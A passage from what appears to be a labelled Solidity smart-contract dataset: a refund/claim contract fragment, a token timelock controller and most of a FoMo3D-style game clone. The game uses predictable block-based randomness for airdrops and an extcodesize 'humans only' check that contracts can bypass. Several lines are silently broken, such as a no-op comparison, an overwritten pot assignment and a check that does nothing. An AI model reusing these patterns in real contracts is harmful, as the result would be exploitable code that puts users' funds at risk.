return balances[investor].times(tokensBought) / weiRaisedTotal;
}
function getClaimLeft(address investor) public constant returns (uint) {
return getClaimAmount(investor).minus(claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = claimed[investor].plus(amount);
totalClaimed = totalClaimed.plus(amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!investor.send(amount)) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function getState() public returns(State) {
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function() payable {
throw;
}
} | 0 | 1,966 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract TokenTimelockController is Ownable {
using SafeMath for uint;
struct TokenTimelock {
uint256 amount;
uint256 releaseTime;
bool released;
bool revocable;
bool revoked;
}
event TokenTimelockCreated(
address indexed beneficiary,
uint256 releaseTime,
bool revocable,
uint256 amount
);
event TokenTimelockRevoked(
address indexed beneficiary
);
event TokenTimelockBeneficiaryChanged(
address indexed previousBeneficiary,
address indexed newBeneficiary
);
event TokenTimelockReleased(
address indexed beneficiary,
uint256 amount
);
uint256 public constant TEAM_LOCK_DURATION_PART1 = 1 * 365 days;
uint256 public constant TEAM_LOCK_DURATION_PART2 = 2 * 365 days;
uint256 public constant INVESTOR_LOCK_DURATION = 6 * 30 days;
mapping (address => TokenTimelock[]) tokenTimeLocks;
ERC20 public token;
address public crowdsale;
bool public activated;
constructor(ERC20 _token) public {
token = _token;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsale);
_;
}
modifier onlyWhenActivated() {
require(activated);
_;
}
modifier onlyValidTokenTimelock(address _beneficiary, uint256 _id) {
require(_beneficiary != address(0));
require(_id < tokenTimeLocks[_beneficiary].length);
require(!tokenTimeLocks[_beneficiary][_id].revoked);
_;
}
function setCrowdsale(address _crowdsale) external onlyOwner {
require(_crowdsale != address(0));
crowdsale = _crowdsale;
}
function activate() external onlyCrowdsale {
activated = true;
}
function createInvestorTokenTimeLock(
address _beneficiary,
uint256 _amount,
uint256 _start,
address _tokenHolder
) external onlyCrowdsale returns (bool)
{
require(_beneficiary != address(0) && _amount > 0);
require(_tokenHolder != address(0));
TokenTimelock memory tokenLock = TokenTimelock(
_amount,
_start.add(INVESTOR_LOCK_DURATION),
false,
false,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock);
require(token.transferFrom(_tokenHolder, this, _amount));
emit TokenTimelockCreated(
_beneficiary,
tokenLock.releaseTime,
false,
_amount);
return true;
}
function createTeamTokenTimeLock(
address _beneficiary,
uint256 _amount,
uint256 _start,
address _tokenHolder
) external onlyOwner returns (bool)
{
require(_beneficiary != address(0) && _amount > 0);
require(_tokenHolder != address(0));
uint256 amount = _amount.div(2);
TokenTimelock memory tokenLock1 = TokenTimelock(
amount,
_start.add(TEAM_LOCK_DURATION_PART1),
false,
true,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock1);
TokenTimelock memory tokenLock2 = TokenTimelock(
amount,
_start.add(TEAM_LOCK_DURATION_PART2),
false,
true,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock2);
require(token.transferFrom(_tokenHolder, this, _amount));
emit TokenTimelockCreated(
_beneficiary,
tokenLock1.releaseTime,
true,
amount);
emit TokenTimelockCreated(
_beneficiary,
tokenLock2.releaseTime,
true,
amount);
return true;
}
function revokeTokenTimelock(
address _beneficiary,
uint256 _id)
external onlyWhenActivated onlyOwner onlyValidTokenTimelock(_beneficiary, _id)
{
require(tokenTimeLocks[_beneficiary][_id].revocable);
require(!tokenTimeLocks[_beneficiary][_id].released);
TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id];
tokenLock.revoked = true;
require(token.transfer(owner, tokenLock.amount));
emit TokenTimelockRevoked(_beneficiary);
}
function getTokenTimelockCount(address _beneficiary) view external returns (uint) {
return tokenTimeLocks[_beneficiary].length;
}
function getTokenTimelockDetails(address _beneficiary, uint256 _id) view external returns (
uint256 _amount,
uint256 _releaseTime,
bool _released,
bool _revocable,
bool _revoked)
{
require(_id < tokenTimeLocks[_beneficiary].length);
_amount = tokenTimeLocks[_beneficiary][_id].amount;
_releaseTime = tokenTimeLocks[_beneficiary][_id].releaseTime;
_released = tokenTimeLocks[_beneficiary][_id].released;
_revocable = tokenTimeLocks[_beneficiary][_id].revocable;
_revoked = tokenTimeLocks[_beneficiary][_id].revoked;
}
function changeBeneficiary(uint256 _id, address _newBeneficiary) external onlyWhenActivated onlyValidTokenTimelock(msg.sender, _id) {
tokenTimeLocks[_newBeneficiary].push(tokenTimeLocks[msg.sender][_id]);
if (tokenTimeLocks[msg.sender].length > 1) {
tokenTimeLocks[msg.sender][_id] = tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)];
delete(tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]);
}
tokenTimeLocks[msg.sender].length--;
emit TokenTimelockBeneficiaryChanged(msg.sender, _newBeneficiary);
}
function release(uint256 _id) external {
releaseFor(msg.sender, _id);
}
function releaseFor(address _beneficiary, uint256 _id) public onlyWhenActivated onlyValidTokenTimelock(_beneficiary, _id) {
TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id];
require(!tokenLock.released);
require(block.timestamp >= tokenLock.releaseTime);
tokenLock.released = true;
require(token.transfer(_beneficiary, tokenLock.amount));
emit TokenTimelockReleased(_beneficiary, tokenLock.amount);
}
} | 0 | 397 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xee83e20C6AEab2284685Efe0B5ffb250bE5480bf);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 1 seconds;
uint256 private rndGap_ = 1 seconds;
uint256 constant private rndInit_ = 5 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
round_[_rID].pot = _pot.add(_com);
round_[_rID].pot = _pot.add(_p3d);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
